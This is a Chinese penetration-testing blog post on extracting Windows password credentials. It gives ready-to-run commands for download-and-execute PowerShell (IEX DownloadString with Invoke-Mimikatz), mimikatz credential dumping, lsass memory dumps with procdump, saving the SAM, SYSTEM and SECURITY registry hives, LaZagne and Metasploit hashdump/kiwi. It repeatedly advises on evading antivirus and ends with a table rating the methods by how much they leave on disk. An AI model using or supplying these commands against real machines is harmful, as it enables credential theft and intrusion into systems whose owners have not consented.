获取Windows系统密码凭证 (゚益゚メ) 渗透测试

306 阅读6分钟

文章目录

Windows 加密简介

在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支,Windows早期版本大多使用LAN Manager(LM)方法进行哈希,但LM哈希密码最大长度为14,当前Windows主要采用NT LAN Manager(NTLM)方法哈希。

Windows系统下hash密码格式:
用户名称:RID:LM-HASH值:NT-HASH值

Windows 哈希过程

  1. 用户输入密码
  2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  3. 与sam数据库C:\Windows\System32\config%SystemRoot%\system32\config\sam)中该用户的哈希比对在这里插入图片描述
  4. 匹配则登陆成功,不匹配则登陆失败

本地认证中用来处理用户输入密码的进程为lsass.exe,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对。
根据上述过程,我们可以看出,最直接的获取Windows凭证方法,无非就是想办法从lsass.exe进程中或从sam数据库中获取。
在这里插入图片描述

Windows 凭证获取

使用powershell脚本

powershell脚本: raw.githubusercontent.com/samratashok…
powershell IEX(new-object net.webclient).downloadstring('脚本地址');Get-PassHashes

Pwddump7

和上述脚本功能类似,Pwddump7下载地址(需要魔法): www.tarasco.org/security/pw…
在这里插入图片描述

使用猕猴桃(mimikatz)

相比上述两种方法,猕猴桃作为一个长期不断维护更新的开源软件,功能会强大很多
猕猴桃下载地址: github.com/gentilkiwi/…
根据目标系统不同,我们可以使用64位(x64)或32位(win32)版本
在这里插入图片描述
我当前系统为64位Windows10,所以我这里使用的是x64版本的猕猴桃,如下图:
在这里插入图片描述

常用命令

我们输入::即可查看猕猴桃的官方使用介绍,其中我们最常用的命令如下

命令作用
privilege::debug请求调试特权
token::elevate提升权限(这条命令会让我们冒充系统最高权限用户SYSTEM)
lsadump::samlsadump::secretslsadump::cache获取用户的密码凭证
sekurlsa::logonpasswords查看所有可用的凭证

在这里插入图片描述

猕猴桃中大部分报错提示都很可能是权限不足导致的,需要管理员权限的才能操作,如下报错

mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061

mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)

本地非交互式凭证获取

mimikatz.exe "log 凭证信息.txt" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log 本地登录凭证.txt" "sekurlsa::logonpasswords" "exit"

远程加载

远程脚本下载地址: github.com/PowerShellM…
使用方法:

  1. 首先我们需要使用一个服务器(VPS)将脚本挂载到公网
  2. cmd中使用如下命令,将脚本加载到内存中直接执行。
    powershell IEX (New-Object Net.WebClient).DownloadString('脚本下载地址');Invoke-Mimikatz -DumpCreds
    在这里插入图片描述

Procdump+猕猴桃

因为猕猴桃功能强大而且单一,主要是针对密码凭证的,所以几乎所有的杀软都会将其进行拦截。这里我们常用Procdump配合猕猴桃来绕过杀软的检测。
Procdump下载地址: docs.microsoft.com/zh-cn/sysin…
Procdump是微软官方推出的一款工具,主要用于桌面应用开发人员对应用的一些检测处理,我们使用Procdump实现的主要功能是将正在运行的程序生成静态文件,方便我们进行分析操作,我在上述介绍中提过,处理我们密码的程序是lsass.exe,而这里我们也主要会将它进行静态的文件,.然后再将此文件从目标电脑中导出至本地。
32位系统导出命令: procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位系统导出命令: procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
在这里插入图片描述
将导出的静态lsass文件移动到本机中(最好将此文件和mimikatz.exe放在同一个文件夹,如果不是同一个文件夹,需要在猕猴桃中cd到lsass所在的文件夹中)

# 载入静态的lsass文件
sekurlsa::minidump lsass.dmp
# 读取所有密码凭证信息(载入文件夹后使用sekurlsa::相关命令即可获取载入文件中保存的秘钥信息)
sekurlsa::logonPasswords

在这里插入图片描述

注册表+猕猴桃

我们的凭证信息除了会保存在lsass程序中,还可能会保存在一些注册表中,我们同样可以将注册表保存后下载到本地进行分析,
system(本地数据库): reg save HKLM\SYSTEM system.hiv
sam(安全帐户管理器): reg save HKLM\SAM sam.hiv
security(哈希计算、验证): reg save HKLM\SECURITY security.hiv
在这里插入图片描述我们主要可能会用到上述三种注册表
使用猕猴桃即可对注册表进行解密: lsadump::sam /system:system.hiv /sam:sam.hiv
在这里插入图片描述
除此之外,我们还可以使用python的一个脚本secretsdump来对目标解密
在这里插入图片描述

LaZagne

这是一个使用Python写的密码凭证获取工具,LaZagne能获取到的密码范围很广泛,我当前主要会用到Windows模块,如果你想获取其他方向的密码也可以使用此模块!
LaZagne下载地址: github.com/AlessandroZ…
lazagne.exe windows

msf

metasploit怎么用? 基础(auxiliary、exploits、meterpreter)篇 (゚益゚メ) 渗透测试
metasploit怎么用? 进阶(msfvenom=payloads+encoders)篇 (゚益゚メ) 渗透测试
这里我们的msf已经连接到目标主机,并且是已管理员身份运行,首先我们先输入getsystem进行提权
在这里插入图片描述
Windows中获取哈希值的主要有以下几种模块,这里我们选择使用use post/windows/gather/hashdump(其中smart_hashdump可以开启自动提取)
在这里插入图片描述
设定其set session 指定目标目标后,我们即可运行获取目标秘钥。这里需要注意设置使用的是session,不是sessions
在这里插入图片描述

msf中的猕猴桃

因为在Windows凭证方面,猕猴桃非常强大,msf也内置了猕猴桃模块,我们只需要在进入sessions后输入load kiwi即可加载猕猴桃模块。
在这里插入图片描述
我们可以使用help kiwi查看msf中的猕猴桃使用方法
在这里插入图片描述
其中最常用的有creds_all:获取所有收集到的凭证,lsa_dump_sam:获取用户凭证,kiwi_cmd:这个命令后面可以跟着猕猴桃原生命令进行执行!

CS(cobaltstrike)

之后我写了cs的相关博客后在来补充这一块!
hashdump: 相当于猕猴桃的lsadump::sam
logonpasswords: 相当于猕猴桃的sekurlsa::logonpasswords

总结

工具特点文件落地
mimikatz功能强大文件落地(可以内存加载)
powershell使用方便内存加载
Pwddump7和powershell脚本类似内存加载
Procdump微软官方工具无落地
注册表系统内置无落地
LaZagne功能强大文件落地
msf功能强大文件落地
CS功能强大文件落地.

注: 一般内存加载相比于文件落地能更好的绕开杀软,无落地文件的话,可以完全避开杀软